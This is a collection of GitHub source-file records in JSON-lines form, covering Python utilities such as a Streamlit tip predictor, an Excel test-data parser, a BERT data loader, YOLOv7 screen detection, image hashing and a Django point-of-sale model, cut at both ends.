len(n) > 3:\n return '{head} {thousand} {_}{tail}'.format(head=letterize(n[:-3]) if n[:-3] != '1' else '', thousand=letters['1000'], _=_, tail=letterize(n[-3:]))\n if len(n) > 2:\n return '{head} {_}{tail}'.format(head=letterize(n[:-2] + '00'), _=_, tail=letterize(n[-2:]))\n else:\n return '{head} {_}{tail}'.format(head=letterize(n[:-1] + '0'), _=_, tail=letterize(n[-1:]))\n\n\ndef check_price(new, old):\n if old == '':\n return True, 'we our data is not complete so we just trust u'\n try:\n new = en(new)\n old = en(old)\n except Exception:\n return False, 'format error try again give me another number'\n messages = [\n (.3, False, 'do u know the format'),\n (.5, False, 'are u kidding give me another price'),\n (.9, True, 'wow amazing if i have money i will buy it'),\n (1.1, True, \"it is to much u moron u don't have any chance to sell your shit\"),\n (1.5, False, 'are u kidding give me another price'),\n (float('inf'), False, 'do u know the format')\n ]\n for m in messages:\n if m[0] * old > new:\n return m[1:3]","repo_name":"kafura-kafiri/Denwa","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39288133527","text":"import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport pickle\n\nmodel = pickle.load(open(\"model.pkl\", \"rb\"))\n\nsexs = [\"Female\", \"Male\"]\nanswers = [\"No\", \"Yes\"]\ndays = [\"Fri\", \"Sat\", \"Sun\", \"Thur\"]\ntimes = [\"Dinner\", \"Lunch\"]\n\nst.title(\"Waiter Tips Prediction\")\ntotal_bill = st.number_input(\"Total Bill\")\nsex = st.selectbox(\"Sex\", sexs)\nsmokers = st.selectbox(\"Smoker\", answers)\nday = st.selectbox(\"Day\", days)\ntime = st.selectbox(\"Time\", times)\nsize = st.number_input(\"Size\")\n\nif st.button(\"Predict\"):\n\tsex = sexs.index(sex)\n\tsmokers = answers.index(smokers)\n\tday = days.index(day)\n\ttime = times.index(time)\n\ttest = np.array([[total_bill, sex, smokers, day, time, size]])\n\tres = model.predict(test)\n\tprint(res)\n\tst.success(\"Prediction: \" + str(res[0]))\n","repo_name":"thealper2/Waiter-Tips-Prediction","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10064678482","text":"from datetime import datetime\nfrom abc import ABCMeta, abstractmethod\nfrom ExcelDataDriver.ExcelTestDataRow.MandatoryTestDataColumn import MANDATORY_TEST_DATA_COLUMN\nfrom openpyxl.utils import column_index_from_string\nfrom openpyxl.utils.cell import coordinate_from_string\n\n\nclass ABCParserStrategy:\n\n __metaclass__ = ABCMeta\n\n def __init__(self, main_column_key):\n self.MANDATORY_TEST_DATA_COLUMN = MANDATORY_TEST_DATA_COLUMN\n self.DEFAULT_COLUMN_INDEXS = self.MANDATORY_TEST_DATA_COLUMN.values()\n self.start_row = 1\n self.max_column = 50\n self.maximum_column_index_row = 5\n self.main_column_key = main_column_key\n\n def is_ws_column_valid(self, ws, ws_column_indexes, validate_result):\n diff_column_list = list(set(self.DEFAULT_COLUMN_INDEXS) - set(ws_column_indexes))\n if len(diff_column_list) > 0:\n validate_result['is_pass'] = False\n validate_result['error_message'] += \"[\" + ws.title + \"] Excel column \" + \", \".join(\n diff_column_list) + \" are missing.\\r\\n\"\n print(str(datetime.now())+\": [\" + ws.title + \"] Excel column \" + \", \".join(diff_column_list) + \" are missing.\")\n return validate_result\n\n @abstractmethod\n def is_test_data_valid(self, ws_column_indexes, ws_title, row_index, row): pass\n\n @abstractmethod\n def map_data_row_into_test_data_obj(self, ws_column_indexes, ws_title, row_index, row): pass\n\n def get_all_worksheet(self, wb):\n return list(wb)\n\n def parsing_major_column_indexs(self, ws):\n ws_column_indexs = {}\n key_index_row = 0\n found_default_column_indexs = False\n\n # Parse mandatory property\n for index, row in enumerate(ws.rows):\n if index > self.maximum_column_index_row:\n break\n for cell in row:\n if (cell.value is not None) and (cell.value in self.DEFAULT_COLUMN_INDEXS):\n ws_column_indexs[cell.value] = column_index_from_string(coordinate_from_string(cell.coordinate)[0])\n print(str(datetime.now()) + ': Mandatory : ' + str(cell.value) + ' : ' + str(\n cell.coordinate) + ' : ' + str(\n column_index_from_string(coordinate_from_string(cell.coordinate)[0])))\n key_index_row = index + 1\n found_default_column_indexs = True\n\n if (cell.value is not None) and (cell.value not in self.DEFAULT_COLUMN_INDEXS) and (found_default_column_indexs is False):\n field_name = self._cleanup_fieldname(cell.value)\n if field_name == self.main_column_key:\n key_index_row = index + 1\n\n if len(ws_column_indexs) > 0:\n break\n\n return ws_column_indexs, key_index_row\n\n def parsing_column_indexs(self, ws):\n ws_column_indexs = {}\n\n # Parse mandatory property\n for index, row in enumerate(ws.rows):\n if index > self.maximum_column_index_row:\n break\n for cell in row:\n if (cell.value is not None) and (cell.value in self.DEFAULT_COLUMN_INDEXS):\n found_mandatory_property = True\n ws_column_indexs[cell.value] = column_index_from_string(coordinate_from_string(cell.coordinate)[0])\n print(str(datetime.now())+': Mandatory : '+str(cell.value) + ' : ' + str(cell.coordinate) + ' : ' + str(column_index_from_string(coordinate_from_string(cell.coordinate)[0])))\n self.start_row = index + 1\n if len(ws_column_indexs) > 0:\n break\n\n # Parse optional property\n for index, row in enumerate(ws.rows):\n if index > self.maximum_column_index_row:\n break\n if index != self.start_row - 1:\n continue\n for cell in row:\n if (cell.value is not None) and (cell.value not in self.DEFAULT_COLUMN_INDEXS):\n field_name = self._cleanup_fieldname(cell.value)\n ws_column_indexs[field_name] = column_index_from_string(coordinate_from_string(cell.coordinate)[0])\n print(str(datetime.now())+': Optional : '+field_name + ' : ' + str(cell.coordinate) + ' : ' + str(column_index_from_string(coordinate_from_string(cell.coordinate)[0])))\n break\n return ws_column_indexs\n\n def parse_test_data_properties(self, ws, ws_column_indexs):\n test_datas = []\n for index, row in enumerate(ws.rows):\n if index < self.start_row:\n continue\n self.is_test_data_valid(ws_column_indexs, ws.title, index, row)\n test_data = self.map_data_row_into_test_data_obj(ws_column_indexs, ws.title, index, row)\n if test_data is not None:\n test_datas.append(test_data)\n else:\n break\n print(str(datetime.now())+': Total test datas: ' + str(len(test_datas)))\n return test_datas\n\n def _cleanup_fieldname(self, field_name):\n field_name = str(field_name).lower().strip().replace(\" \", \"_\")\n field_name = field_name.replace(\"\\r\", \"_\")\n field_name = field_name.replace(\"\\n\", \"_\")\n field_name = field_name.replace(\"__\", \"_\")\n return field_name\n","repo_name":"qahive/robotframework-ExcelDataDriver","sub_path":"ExcelDataDriver/ExcelParser/ABCParserStrategy.py","file_name":"ABCParserStrategy.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"71968994919","text":"from typing import Mapping, Optional\n\nimport dataclasses\nimport tensorflow as tf\nfrom official.core import config_definitions as cfg\nfrom official.core import input_reader\nfrom official.nlp.data import data_loader\nfrom official.nlp.data import data_loader_factory\n\n\n@dataclasses.dataclass\nclass BertPretrainDataConfig(cfg.DataConfig):\n \"\"\"Data config for BERT pretraining task (tasks/masked_lm).\"\"\"\n input_path: str = ''\n global_batch_size: int = 512\n is_training: bool = True\n seq_length: int = 512\n max_predictions_per_seq: int = 76\n use_next_sentence_label: bool = True\n use_position_id: bool = False\n # Historically, BERT implementations take `input_ids` and `segment_ids` as\n # feature names. Inside the TF Model Garden implementation, the Keras model\n # inputs are set as `input_word_ids` and `input_type_ids`. When\n # v2_feature_names is True, the data loader assumes the tf.Examples use\n # `input_word_ids` and `input_type_ids` as keys.\n use_v2_feature_names: bool = False\n\n\n@data_loader_factory.register_data_loader_cls(BertPretrainDataConfig)\nclass BertPretrainDataLoader(data_loader.DataLoader):\n \"\"\"A class to load dataset for bert pretraining task.\"\"\"\n\n def __init__(self, params):\n \"\"\"Inits `BertPretrainDataLoader` class.\n\n Args:\n params: A `BertPretrainDataConfig` object.\n \"\"\"\n self._params = params\n self._seq_length = params.seq_length\n self._max_predictions_per_seq = params.max_predictions_per_seq\n self._use_next_sentence_label = params.use_next_sentence_label\n self._use_position_id = params.use_position_id\n\n def _decode(self, record: tf.Tensor):\n \"\"\"Decodes a serialized tf.Example.\"\"\"\n name_to_features = {\n 'input_mask':\n tf.io.FixedLenFeature([self._seq_length], tf.int64),\n 'masked_lm_positions':\n tf.io.FixedLenFeature([self._max_predictions_per_seq], tf.int64),\n 'masked_lm_ids':\n tf.io.FixedLenFeature([self._max_predictions_per_seq], tf.int64),\n 'masked_lm_weights':\n tf.io.FixedLenFeature([self._max_predictions_per_seq], tf.float32),\n }\n if self._params.use_v2_feature_names:\n name_to_features.update({\n 'input_word_ids': tf.io.FixedLenFeature([self._seq_length], tf.int64),\n 'input_type_ids': tf.io.FixedLenFeature([self._seq_length], tf.int64),\n })\n else:\n name_to_features.update({\n 'input_ids': tf.io.FixedLenFeature([self._seq_length], tf.int64),\n 'segment_ids': tf.io.FixedLenFeature([self._seq_length], tf.int64),\n })\n if self._use_next_sentence_label:\n name_to_features['next_sentence_labels'] = tf.io.FixedLenFeature([1],\n tf.int64)\n if self._use_position_id:\n name_to_features['position_ids'] = tf.io.FixedLenFeature(\n [self._seq_length], tf.int64)\n\n example = tf.io.parse_single_example(record, name_to_features)\n\n # tf.Example only supports tf.int64, but the TPU only supports tf.int32.\n # So cast all int64 to int32.\n for name in list(example.keys()):\n t = example[name]\n if t.dtype == tf.int64:\n t = tf.cast(t, tf.int32)\n example[name] = t\n\n return example\n\n def _parse(self, record: Mapping[str, tf.Tensor]):\n \"\"\"Parses raw tensors into a dict of tensors to be consumed by the model.\"\"\"\n x = {\n 'input_mask': record['input_mask'],\n 'masked_lm_positions': record['masked_lm_positions'],\n 'masked_lm_ids': record['masked_lm_ids'],\n 'masked_lm_weights': record['masked_lm_weights'],\n }\n if self._params.use_v2_feature_names:\n x['input_word_ids'] = record['input_word_ids']\n x['input_type_ids'] = record['input_type_ids']\n else:\n x['input_word_ids'] = record['input_ids']\n x['input_type_ids'] = record['segment_ids']\n if self._use_next_sentence_label:\n x['next_sentence_labels'] = record['next_sentence_labels']\n if self._use_position_id:\n x['position_ids'] = record['position_ids']\n\n return x\n\n def load(self, input_context: Optional[tf.distribute.InputContext] = None):\n \"\"\"Returns a tf.dataset.Dataset.\"\"\"\n reader = input_reader.InputReader(\n params=self._params, decoder_fn=self._decode, parser_fn=self._parse)\n return reader.read(input_context)\n","repo_name":"nicknochnack/RealTimeSignLanguageDetectionwithTFJS","sub_path":"Tensorflow/models/official/nlp/data/pretrain_dataloader.py","file_name":"pretrain_dataloader.py","file_ext":"py","file_size_in_byte":4317,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"18"} +{"seq_id":"17096750049","text":"from algorithm.object_detector import YOLOv7\nfrom utils.detections import draw\nimport json\nimport cv2\nimport imutils\nimport numpy as np\nfrom mss import mss\nfrom PIL import Image\nsct = mss()\nyolov7 = YOLOv7()\nyolov7.load('coco.weights', classes='coco.yaml', device='cpu') # use 'gpu' for CUDA GPU inference\ntry:\n while True:\n w, h = 640, 640\n monitor = {'top': 0, 'left': 0, 'width': w, 'height': h}\n img = Image.frombytes('RGB', (w,h), sct.grab(monitor).rgb)\n img_np = np.array(img)\n frame = img_np\n count=0\n A=True\n if A == True: \n detections = yolov7.detect(frame)\n detected_frame = draw(frame, detections)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(detected_frame, \n 'aeroKLE', \n (30, 50), \n font, 1, \n (0, 0, 255), \n 2, \n cv2.LINE_4)\n cv2.putText(detected_frame, \n 'SAE ADDC 2023', \n (30, 100), \n font, 1, \n (0, 0, 255), \n 2, \n cv2.LINE_4)\n cv2.putText(detected_frame, \n 'NUMBER OF PEOPLE IN NEED', \n (150, 50), \n font, 1, \n (0, 255, 0), \n 2, \n cv2.LINE_4) \n if len(detections)!=0:\n i=0\n for items in detections:\n identity=detections[i]['class']\n if identity=='person':\n count=count+1\n i=i+1\n print(\"DETECTED PERSON = \",count)\n cv2.putText(detected_frame, \n str(count), \n (500, 100), \n font, 1, \n (0, 255, 0), \n 2, \n cv2.LINE_4) \n cv2.imshow('webcam', detected_frame)\n cv2.waitKey(1)\n else:\n break\nexcept KeyboardInterrupt:\n pass\nwebcam.release()\nprint('[+] webcam closed')\nyolov7.unload()\n","repo_name":"anurag2235/ADDC-2023-SEARCH-AND-RESCUE-MEDICAL-HELP","sub_path":"screen.py","file_name":"screen.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"16851282171","text":"from typing import Any\nimport logging\n\nlogger = logging.getLogger(\"fastapi\")\n\n\ndef log(message: Any, level: str = \"error\") -> None:\n {\n \"debug\": logger.debug,\n \"warn\": logger.warn,\n \"error\": logger.error,\n \"info\": logger.info,\n }[level](message)\n","repo_name":"Sheikhharis50/fastapi-starter","sub_path":"app/utils/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35469936773","text":"import cv2\r\nimport numpy as np\r\n\r\nfrom ohmytmp import PluginAfter, Info, TYPE\r\n\r\n\r\ndef ahash64(pth: str) -> int:\r\n try:\r\n img = cv2.imread(pth, cv2.IMREAD_UNCHANGED)\r\n img = cv2.resize(img, (8, 8), cv2.INTER_AREA)\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n except:\r\n return -1\r\n\r\n avg = np.mean(img)\r\n ans = 0\r\n for i in img:\r\n for j in i:\r\n ans = (ans << 1) | (0 if j < avg else 1)\r\n return ans\r\n\r\n\r\ndef dhash64(pth: str) -> int:\r\n try:\r\n img = cv2.imread(pth, cv2.IMREAD_UNCHANGED)\r\n img = cv2.resize(img, (9, 8), cv2.INTER_AREA)\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n except:\r\n return -1\r\n\r\n ans = 0\r\n for i in img:\r\n l = None\r\n flg = True\r\n for j in i:\r\n if flg:\r\n l = j\r\n flg = False\r\n continue\r\n ans = (ans << 1) | (0 if j < l else 1)\r\n l = j\r\n return ans\r\n\r\n\r\ndef phash64(pth: str) -> int:\r\n try:\r\n img = cv2.imread(pth, cv2.IMREAD_UNCHANGED)\r\n img = cv2.resize(img, (32, 32), cv2.INTER_AREA)\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n except:\r\n return -1\r\n\r\n img = cv2.dct(np.float64(img))[0:8, 0:8]\r\n avg = np.mean(img)\r\n ans = 0\r\n for i in img:\r\n for j in i:\r\n ans = (ans << 1) | (0 if j < avg else 1)\r\n return ans\r\n\r\n\r\ndef hamming_distance(h1: int, h2: int) -> int:\r\n d = h1 ^ h2\r\n ans = 0\r\n while d:\r\n ans += 1\r\n d &= d-1\r\n return ans\r\n\r\n\r\nclass SimImg(PluginAfter):\r\n def __init__(self) -> None:\r\n super().__init__()\r\n self.data = dict()\r\n\r\n def findsim(self, x: int, d: int) -> list:\r\n return [i for i in self.data if hamming_distance(self.data[i], x) <= d]\r\n\r\n def add(self, pth: str) -> None:\r\n self.data[pth] = phash64(pth)\r\n\r\n def func(self, info: Info) -> None:\r\n if info.TYPE != TYPE.IMAGE:\r\n return\r\n self.add(info.SRC)\r\n\r\n\r\nLSHBIT = 64\r\n\r\n\r\nclass SimImgPlus(SimImg):\r\n def __init__(self, distance: int = 8) -> None:\r\n super().__init__()\r\n if distance < 0 or distance >= LSHBIT:\r\n raise ValueError(distance)\r\n self.distance = distance\r\n self.m = max(distance+1, 4)\r\n # 4 5 [13 13 13 13 12]\r\n self.split = list(range(self.m)) * (LSHBIT//self.m + 1)\r\n self.block = dict()\r\n\r\n def phash(self, pth: str) -> tuple:\r\n try:\r\n img = cv2.imread(pth, cv2.IMREAD_UNCHANGED)\r\n img = cv2.resize(img, (32, 32), cv2.INTER_AREA)\r\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n except:\r\n return -1\r\n\r\n img = cv2.dct(np.float64(img))[0:8, 0:8].flatten()\r\n avg = np.mean(img)\r\n ansl = [0] * self.m\r\n for i, j in enumerate(img):\r\n w = 0 if j < avg else 1\r\n ans = ans << 1 | w\r\n ansl[i % self.m] = (ansl[i % self.m] << 1) | w\r\n for i, j in enumerate(ansl):\r\n ansl[i] = ansl[i]*self.m + i\r\n return ans, ansl\r\n\r\n def add(self, pth: str) -> None:\r\n ans, ansl = self.phash(pth)\r\n for i in ansl:\r\n self.block.setdefault(i, list())\r\n self.block[i].append(pth)\r\n self.data[pth] = ans\r\n","repo_name":"ohmytmp/plugin-simimg","sub_path":"src/ohmytmp_plugins/simimg/simimg.py","file_name":"simimg.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9992508302","text":"import pytest\nimport student\nimport solution\n\n\n@pytest.mark.parametrize(\"d1, d2\", [\n ({}, {}),\n ({1: 1}, {2: 2}),\n ({1: 1}, {1: 2}),\n ({'a': 1, 'b': 2, 'c': 3}, {'c': 33, 'd': 44, 'e': 55}),\n])\ndef test_function(d1, d2):\n function_name = 'merge_dicts'\n if not hasattr(student, function_name):\n pytest.skip(f\"Missing function {function_name}\")\n\n solution_function = getattr(solution, function_name)\n student_function = getattr(student, function_name)\n\n actual = student_function(d1, d2)\n expected = solution_function(d1, d2)\n\n assert expected == actual, f\"Wrong result for {(d1, d2)}, expected {expected}, received {actual}\"\n","repo_name":"UCLL-PR2/exercises","sub_path":"04-dictionaries/03-advanced/06-merge-dicts/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"22554388738","text":"import torch\nfrom torch import nn\nfrom torch.nn import init\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom expirement_er.bertcrf.utils import torch_utils\nfrom pytorchcrf import CRF\nfrom expirement_er.bertcrf.models.mycrf import mycrf\nimport numpy as np\n\nclass SubjTypeModel(nn.Module):\n\n def __init__(self, opt, filter=3):\n super(SubjTypeModel, self).__init__()\n self.opt = opt\n self.num_tags = opt['num_tags']\n\n self.dropout = nn.Dropout(opt['dropout'])\n self.hidden_dim = opt['word_emb_dim']\n\n self.position_embedding = nn.Embedding(500, opt['position_emb_dim'])\n\n self.linear_subj = nn.Linear(self.hidden_dim, opt['num_tags'])\n self.init_weights()\n\n # 1.使用CRF工具包\n # self.crf_module = CRF(opt['num_tags'], False)\n\n # 2.使用mycrf\n if opt['decode_function'] == 'mycrf':\n self.crf_module = mycrf(opt['num_tags'])\n\n # 3.使用softmax\n if self.opt['decode_function'] == 'softmax':\n self.criterion = nn.CrossEntropyLoss(reduction='none')\n self.criterion.cuda()\n\n\n def init_weights(self):\n\n self.position_embedding.weight.data.uniform_(-1.0, 1.0)\n self.linear_subj.bias.data.fill_(0)\n init.xavier_uniform_(self.linear_subj.weight, gain=1) # initialize linear layer\n\n def forward(self, hidden, tags, mask):\n\n subj_start_inputs = self.dropout(hidden)\n subj_start_logits = self.linear_subj(subj_start_inputs)\n\n # 1.使用CRF工具包\n # score = self.crf_module.forward(subj_start_logits, tags=tags, mask=mask)\n # return score\n\n # 2.使用mycrf\n if self.opt['decode_function'] == 'mycrf':\n Z = self.crf_module.forward(subj_start_logits, mask)\n score = self.crf_module.score(subj_start_logits, tags, mask)\n return torch.mean(Z - score) # NLL loss\n\n # 3.使用softmax\n if self.opt['decode_function'] == 'softmax':\n # subj_start_logits = torch.softmax(subj_start_logits, dim=2)\n _s1 = subj_start_logits.view(-1, self.num_tags)\n tags = tags.view(-1).squeeze()\n loss = self.criterion(_s1, tags)\n loss = loss.view_as(mask)\n loss = torch.sum(loss.mul(mask.float())) / torch.sum(mask.float())\n return loss\n\n def predict_subj_start(self, hidden, mask):\n\n subj_start_logits = self.linear_subj(hidden)\n # 1.使用CRF工具包\n # best_tags_list = self.crf_module.decode(subj_start_logits)\n # return best_tags_list\n\n # 2.使用mycrf\n if self.opt['decode_function'] == 'mycrf':\n return self.crf_module.decode(subj_start_logits, mask)\n\n # 3.使用softmax\n if self.opt['decode_function'] == 'softmax':\n # subj_start_logits = torch.softmax(subj_start_logits, dim=2)\n best_tags_list = subj_start_logits.cpu().detach().numpy()\n best_tags_list = np.argmax(best_tags_list, 2).tolist()\n return best_tags_list\n","repo_name":"JavaStudenttwo/ccks_kg","sub_path":"expirement_er/bertcrf/models/submodel.py","file_name":"submodel.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"18"} +{"seq_id":"12019372360","text":"'''\r\n\r\nModify your program from Exercise 6-2 (page 98) so\r\neach person can have more than one favorite number. Then print each person’s\r\nname along with their favorite numbers.\r\n'''\r\n\r\nfavorite_numers = {\r\n 'james': [8, 3, 13],\r\n 'john': [7, 8, 9],\r\n 'amy': [13, 21, 26],\r\n 'emma': [28, 27, 30],\r\n 'avery': [69, 420, 3.14],\r\n}\r\n\r\nfor key, list in favorite_numers.items():\r\n name = key.title()\r\n print(f\"\\n{name}'s favorite numbers are:\")\r\n for number in list:\r\n print(f\"\\t{number}\")","repo_name":"jteengfo/pythonCrashCourse3rdEd","sub_path":"PythonCrashCourse/chapter6/6.10 - favorite_numbers.py","file_name":"6.10 - favorite_numbers.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10606912449","text":"class Node:\n def __init__(self, num):\n self.data = num\n self.link = None\n\n\nclass LinkedList:\n\n def __init__(self):\n self.head = None\n\n # insert node at the end of linked list\n def append(self, num):\n temp = Node(num)\n if self.head is None:\n self.head = temp\n return\n\n temp1 = self.head\n while temp1.link is not None:\n temp1 = temp1.link\n\n temp1.link = temp\n\n # delete node\n def delete_node(self, loc):\n temp = self.head\n if loc == 1:\n self.head = temp.link\n temp = None\n return\n loc -= 2\n while loc:\n temp = temp.link\n loc -= 1\n temp1 = temp.link\n temp.link = temp1.link\n temp1 = None\n\n # print\n def print_list(self):\n temp = self.head\n while temp:\n print(temp.data, end=\" \")\n temp = temp.link\n \nif __name__ == '__main__':\n\n l_list = LinkedList()\n\n l_list.append(1)\n l_list.append(2)\n l_list.append(3)\n l_list.append(4)\n l_list.append(5)\n \n l_list.delete_node(1)\n \n l_list.print_list()\n","repo_name":"sahil1710/data-structures-and-algorithms","sub_path":"DS/Linkedlist/singly_linked_list/PYTHON/delete_node.py","file_name":"delete_node.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30750348081","text":"from datetime import datetime\nfrom unicodedata import category\nfrom django.db import models\nfrom django.utils import timezone\n\n\n# Create your models here.\n\n# class Employees(models.Model):\n# code = models.CharField(max_length=100,blank=True) \n# firstname = models.TextField() \n# middlename = models.TextField(blank=True,null= True) \n# lastname = models.TextField() \n# gender = models.TextField(blank=True,null= True) \n# dob = models.DateField(blank=True,null= True) \n# contact = models.TextField() \n# address = models.TextField() \n# email = models.TextField() \n# department_id = models.ForeignKey(Department, on_delete=models.CASCADE) \n# position_id = models.ForeignKey(Position, on_delete=models.CASCADE) \n# date_hired = models.DateField() \n# salary = models.FloatField(default=0) \n# status = models.IntegerField() \n# date_added = models.DateTimeField(default=timezone.now) \n# date_updated = models.DateTimeField(auto_now=True) \n\n# def __str__(self):\n# return self.firstname + ' ' +self.middlename + ' '+self.lastname + ' '\nclass Category(models.Model):\n name = models.TextField()\n description = models.TextField()\n status = models.IntegerField(default=1)\n date_added = models.DateTimeField(default=timezone.now)\n date_updated = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.name\n\n\nclass Products(models.Model):\n code = models.CharField(max_length=100, blank=True)\n category_id = models.ForeignKey(Category, on_delete=models.CASCADE)\n name = models.TextField()\n description = models.TextField()\n price = models.FloatField(default=0)\n status = models.IntegerField(default=1)\n date_added = models.DateTimeField(default=timezone.now)\n date_updated = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.code + \" - \" + self.name\n\n\nclass Sales(models.Model):\n customer_name = models.CharField(max_length=30, blank=True, null=True)\n customer_number = models.CharField(max_length=11, blank=True, null=True)\n event_date = models.DateTimeField(default=timezone.now)\n seriel_no = models.IntegerField(default=0, blank=True, null=True)\n cnic = models.CharField(max_length=15, default='nill', blank=True, null=True)\n code = models.CharField(max_length=100, blank=True, null=True)\n ladies = models.IntegerField(default=0, blank=True, null=True)\n gents = models.IntegerField(default=0, blank=True, null=True)\n sub_total = models.FloatField(default=0, blank=True, null=True)\n grand_total = models.FloatField(default=0, blank=True, null=True)\n tax_amount = models.FloatField(default=0, blank=True, null=True)\n tax = models.FloatField(default=0, blank=True, null=True)\n perhead_charges = models.FloatField(default=0, blank=True, null=True)\n hall = models.FloatField(default=0, blank=True, null=True)\n tendered_amount = models.FloatField(default=0, blank=True, null=True)\n amount_change = models.FloatField(default=0, blank=True, null=True)\n date_added = models.DateTimeField(default=timezone.now)\n date_updated = models.DateTimeField(auto_now=True, null=True)\n extra_charges = models.IntegerField(default=0, blank=True, null=True)\n sub = models.IntegerField(default=0, blank=True, null=True)\n cash_received = models.IntegerField(default=0, blank=True, null=True)\n event_time = models.CharField(max_length=6, blank=True, null=True)\n customer_address = models.CharField(max_length=200, default='Nill', blank=True, null=True)\n balance_due = models.IntegerField(blank=True, null=True)\n\n # def __str__(self):\n # return self.id\n\n\nclass salesItems(models.Model):\n sale_id = models.ForeignKey(Sales, on_delete=models.CASCADE)\n product_id = models.ForeignKey(Products, on_delete=models.CASCADE)\n price = models.FloatField(default=0)\n qty = models.FloatField(default=0)\n total = models.FloatField(default=0)\n","repo_name":"Habib-uRehman/marquee-pos","sub_path":"posApp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29057149011","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom lxml import etree\nif __name__ == '__main__' and __package__ is None:\n from os import sys, path\n sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\nfrom ProjectLib import Project\n\n\nclass XMLtoProject(Project.MangaProject):\n def __init__(self, **args):\n \"\"\"\n Create a pyMANGA project based on the specifications in the project file, i.e.,\n read xml tags.\n Args:\n **args (dict)\n \"\"\"\n try:\n self.prjfile = args[\"xml_project_file\"]\n except KeyError:\n raise KeyError(\"XML-Project file missing!\")\n self.args = {}\n self.readProjectFile()\n self.addNumpyRandomSeed()\n self.addResourceConcept()\n self.addPlantDynamicConcept()\n self.addPopulationConcept()\n self.addPlantTimeLoopConcept()\n self.addVisualizationConcept()\n self.addModelOutputConcept()\n self.argsToProject()\n\n def readProjectFile(self):\n \"\"\"\n Construct XML tree\n \"\"\"\n tree = etree.parse(self.prjfile)\n self.root = tree.getroot()\n # The for loop removes ambiguous spaces of the tag arguments\n for tag in self.root.iter():\n tag.text = tag.text.strip()\n\n def addNumpyRandomSeed(self):\n \"\"\"\n Store the value of the random seed.\n Sets:\n dictionary\n \"\"\"\n self.args[\"random_seed\"] = self.root.find(\"random_seed\")\n\n def addResourceConcept(self):\n \"\"\"\n Store the values that define above- and below-ground resource modules.\n Sets:\n dictionary\n \"\"\"\n self.plant_dynamics = self.findChild(self.root, \"resources\")\n self.args[\"aboveground_resources_concept\"] = self.findChild(\n self.plant_dynamics, \"aboveground\")\n self.args[\"belowground_resource_concept\"] = self.findChild(\n self.plant_dynamics, \"belowground\")\n\n def addPlantDynamicConcept(self):\n \"\"\"\n Store the values that define plant model module.\n Sets:\n dictionary\n \"\"\"\n self.args[\"plant_dynamics\"] = self.findChild(self.root, \"plant_dynamics\")\n\n def addPopulationConcept(self):\n \"\"\"\n Store the values that define the population.\n Sets:\n dictionary\n \"\"\"\n self.args[\"population\"] = self.findChild(\n self.root, \"population\")\n\n def addPlantTimeLoopConcept(self):\n \"\"\"\n Store the values that define the time loop.\n Sets:\n dictionary\n \"\"\"\n self.args[\"time_loop\"] = self.findChild(self.root,\n \"time_loop\")\n\n def addVisualizationConcept(self):\n \"\"\"\n Store the values that define the visualization module.\n Sets:\n dictionary\n \"\"\"\n self.args[\"visualization\"] = self.findChild(self.root, \"visualization\")\n\n def addModelOutputConcept(self):\n \"\"\"\n Store the values that define the model output module.\n Sets:\n dictionary\n \"\"\"\n self.args[\"model_output\"] = self.findChild(self.root, \"output\")\n\n def findChild(self, parent, key):\n \"\"\"\n Helper to find child element of XML tree element.\n Args:\n parent (lxml.etree._Element): xml tree element\n key (string): key to look for\n Returns:\n lxml.etree._Element\n \"\"\"\n child = parent.find(key)\n if child is None:\n raise KeyError(\"key \" + key + \" is missing in project file\")\n return child\n\n","repo_name":"pymanga/pyMANGA","sub_path":"ProjectLib/XMLtoProject.py","file_name":"XMLtoProject.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"41088881569","text":"fichier = open(\"FichiersSTL/V_HULL_Normals_Outward.stl\")\r\n\r\n############################################################################\r\n############# Definitions de fonctions #############\r\n############################################################################\r\n\r\n\r\ndef fonction_coordonnees_globales(liste, liste_triangle):\r\n liste = liste.split(\" \")\r\n for i in range(0, len(liste)):\r\n liste[i] = float(liste[i])\r\n liste_triangle.append(liste[i]) # ajoute les coordonnées (du type float) à la liste du triangle 